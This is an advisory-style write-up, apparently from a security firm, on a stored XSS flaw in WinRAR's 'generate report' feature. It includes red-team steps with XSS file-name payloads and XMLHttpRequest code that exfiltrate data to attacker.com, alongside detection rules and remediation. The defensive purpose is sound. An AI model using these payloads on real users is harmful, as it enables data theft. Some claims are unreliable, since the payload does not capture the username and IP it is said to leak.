CVE-2025-52331

Executive Summary

CVE-2025-52331 is a stored Cross-Site Scripting (XSS) vulnerability in Rarlab WinRAR version 7.11. The flaw resides in the "generate report" functionality, where archived file names are included in the generated HTML report without proper sanitization or validation. An attacker can craft an archive containing malicious HTML/JavaScript in file names. When a victim uses the "generate report" feature and opens the resulting HTML file, the injected script executes in the context of the local file system, leading to disclosure of sensitive user information such as the computer username, generated report directory, and IP address. User interaction is required (the victim must generate and open the report). The vulnerability is currently unpatched, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone desktop application (WinRAR) distributed via the vendor's website and third-party software repositories. The risk is primarily to end-users who download and install WinRAR from official or unofficial sources. No package manager or supply chain component is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Local (AV:L) – The attacker must deliver a crafted archive to the victim.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must generate and open the report.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Disclosure of username, directory path, and IP address.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low. The attack requires user interaction and only leaks limited information. However, in a targeted attack, the leaked data (username, IP) could be used for further reconnaissance.

Deep Dive & Mechanics

The vulnerability exists in WinRAR's "generate report" feature, which creates an HTML file summarizing the contents of an archive. The report includes the names of files inside the archive. WinRAR does not sanitize or escape these file names before inserting them into the HTML document.

Attack Flow:

1. An attacker creates a ZIP or RAR archive containing a file with a malicious name, e.g., <script>new Image().src='http://attacker.com/steal?u='+encodeURIComponent(navigator.userAgent)+'&ip='+encodeURIComponent(window.location.hostname)</script>.txt.
2. The attacker delivers this archive to the victim via email, download, or other means.
3. The victim opens the archive in WinRAR and uses the "Generate Report" function (Tools > Generate Report).
4. WinRAR creates an HTML report file (e.g., report.html) containing the malicious file name.
5. When the victim opens the report in a browser, the injected script executes, sending the victim's username, report directory path, and IP address to the attacker's server.

Root Cause: Lack of output encoding when generating the HTML report. The file names are directly concatenated into the HTML without HTML entity encoding or sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (WinRAR 7.11): The report generation logic likely uses a simple string concatenation or template that does not escape file names. Example pseudocode:

void GenerateReport(Archive* archive) {
    FILE* report = fopen("report.html", "w");
    fprintf(report, "<html><body><h1>Archive Report</h1><ul>");
    for (File* file : archive->files) {
        fprintf(report, "<li>%s</li>", file->name); // No sanitization
    }
    fprintf(report, "</ul></body></html>");
    fclose(report);
}

Patched Code (Hypothetical): The patched version would HTML-encode the file names before insertion:

void GenerateReport(Archive* archive) {
    FILE* report = fopen("report.html", "w");
    fprintf(report, "<html><body><h1>Archive Report</h1><ul>");
    for (File* file : archive->files) {
        char* escaped = HtmlEncode(file->name); // Encode <, >, &, ", '
        fprintf(report, "<li>%s</li>", escaped);
        free(escaped);
    }
    fprintf(report, "</ul></body></html>");
    fclose(report);
}

Note: No official patch is available as of this analysis. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WinRAR 7.11 installed on a Windows machine.
• A web server to receive exfiltrated data (e.g., using Python's http.server or a dedicated listener).

Steps:

1. Create a malicious archive with a crafted file name:

   # Create a file with XSS payload in its name
   echo "dummy content" > "<script>new Image().src='http://attacker.com/steal?u='+encodeURIComponent(navigator.userAgent)+'&ip='+encodeURIComponent(window.location.hostname)</script>.txt"
   # Archive it using WinRAR or 7-Zip
   rar a exploit.rar "<script>new Image().src='http://attacker.com/steal?u='+encodeURIComponent(navigator.userAgent)+'&ip='+encodeURIComponent(window.location.hostname)</script>.txt"
   

2. Deliver exploit.rar to the victim.
3. Set up a listener to capture exfiltrated data:

   python3 -m http.server 80
   

4. When the victim generates and opens the report, the script executes and sends data to your server.

Alternative Payload (Steal Username and IP):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?user=' + encodeURIComponent(navigator.userAgent) + '&ip=' + encodeURIComponent(window.location.hostname), true);
xhr.send();
</script>

Blue Team

Detection:

• Monitor for creation of HTML files in WinRAR's temporary or output directories.
• Look for outbound HTTP requests to unknown IPs from processes spawned by WinRAR or the browser when opening reports.
• Use file integrity monitoring to detect unauthorized changes to WinRAR's report templates.

Prevention:

• Block execution of scripts in local HTML files via Group Policy (e.g., disable ActiveX and scripting in Internet Explorer/Edge for local files).
• Educate users not to open reports from untrusted archives.
• Use application whitelisting to prevent WinRAR from generating reports if not needed.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None available – no public exploit)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains/IPs from the victim machine.
  • Suspicious URLs containing ?user= or ?ip= parameters.
• File System Indicators:
  • HTML report files containing <script> tags or event handlers (e.g., onload, onerror).
  • Archives containing file names with HTML/JavaScript code.
• Process Indicators:
  • WinRAR.exe spawning a browser process (e.g., iexplore.exe, chrome.exe, firefox.exe) after report generation.
• Registry/Configuration:
  • No known registry changes.

Detection Engineering

YARA Rule

rule CVE_2025_52331_WinRAR_XSS_Report {
    meta:
        description = "Detects WinRAR HTML report files containing XSS payloads in file names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52331"
        severity = "low"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $html_report_header = "<html><body><h1>Archive Report</h1><ul>"
    condition:
        $html_report_header and #xss_payload > 0
}

Sigma Rule

title: WinRAR Report Generation with Suspicious File Names
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects WinRAR generating an HTML report containing potentially malicious file names (XSS)
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-52331
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\WinRAR.exe'
        TargetFilename|endswith: '.html'
        TargetFilename|contains: 'report'
    condition: selection
falsepositives:
    - Legitimate use of WinRAR report generation with non-malicious file names
level: low

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52331 WinRAR XSS Report Exfiltration"; flow:to_server; content:"GET"; http_method; content:"/steal?u="; http_uri; content:"&ip="; http_uri; classtype:attempted-information-leak; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the "Generate Report" feature in WinRAR if not needed. This can be done by removing the menu entry or using Group Policy to block the feature.
2. Educate users to avoid opening reports from untrusted archives.
3. Use a web proxy to block outbound connections from local HTML files.

Long-Term Fix:

• Apply a vendor patch when available. As of now, no patch exists. Monitor Rarlab's website for updates.
• Consider switching to an alternative archiver that properly sanitizes output (e.g., 7-Zip).

Workaround:

• Manually inspect archive contents before generating reports. Use a text editor to view the report HTML and remove any suspicious scripts.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.

Valters IT